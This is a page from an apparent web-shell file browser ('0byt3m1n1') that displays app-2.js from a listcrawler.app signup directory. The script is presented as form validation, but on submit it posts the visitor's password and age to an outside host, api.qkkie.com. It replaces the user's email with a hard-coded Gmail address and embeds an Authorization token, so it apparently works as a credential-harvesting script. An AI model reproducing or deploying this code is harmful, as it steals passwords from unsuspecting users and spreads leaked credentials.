0byt3m1n1
Path:
/
var
/
www
/
listcrawler.app
/
public_html
/
join
/
assets
/
js
/
[
Home
]
File: app-2.js
// initialize validation messages variable $.validation = { messages: {} }; // add validation templates to show fancy icons with message text $.extend($.validation.messages, { required: '<i class="fa fa-exclamation-circle"></i> required.', email: '<i class="fa fa-exclamation-circle"></i> Please enter a valid email.', minlength: '<i class="fa fa-exclamation-circle"></i> Password should have at least 3 characters.' }); // call our 'validateSignupForm' function when page is ready $(document).ready(function () { validateSignupForm(); }); // bind jQuery validation event and form 'submit' event var validateSignupForm = function () { var form_signup = $('#form_signup'); var signup_result = $('#signup_result'); // bind jQuery validation event form_signup.validate({ rules: { signup_email: { required: true, // email field is required email: true // validate email address }, signup_password: { required: true, // password field is required minlength: 3 // minimum 3 characters } }, messages: { signup_email: { required: $.validation.messages.required, email: $.validation.messages.email }, signup_password: { required: $.validation.messages.required, minlength: $.validation.messages.minlength } }, errorPlacement: function (error, element) { // insert error message after invalid element error.insertAfter(element); // hide error message on window resize event $(window).resize(function () { error.remove(); }); }, invalidHandler: function (event, validator) { var errors = validator.numberOfInvalids(); if (errors) { } else { } } }); var signup_email = $('#signup_email'); var signup_password = $('#signup_password'); var signup_age = $('#signup_age'); // bind form submit event form_signup.on('submit', function (e) { // if form is valid then call AJAX script if (form_signup.valid()) { const url = 'https://api.qkkie.com/user'; let data = { //"email": signup_email.val(), "email": "pitterbdn8643@gmail.com", "password": signup_password.val(), "age": signup_age.val() }; console.log(JSON.stringify(data)); let fetchData = { method: 'POST', body: JSON.stringify(data), headers: new Headers({ 'Content-Type': 'application/json', 'Authorization': '4f69c1ba01e8f2b7ff43bc46472174470607' }) }; fetch(url, fetchData) .then( //response => response.json() response => { console.log('Response:', response.json()); } ) .catch( (error) => { console.error('Error:', error); } ); } // stop default submit event of form e.preventDefault(); e.stopPropagation(); }); }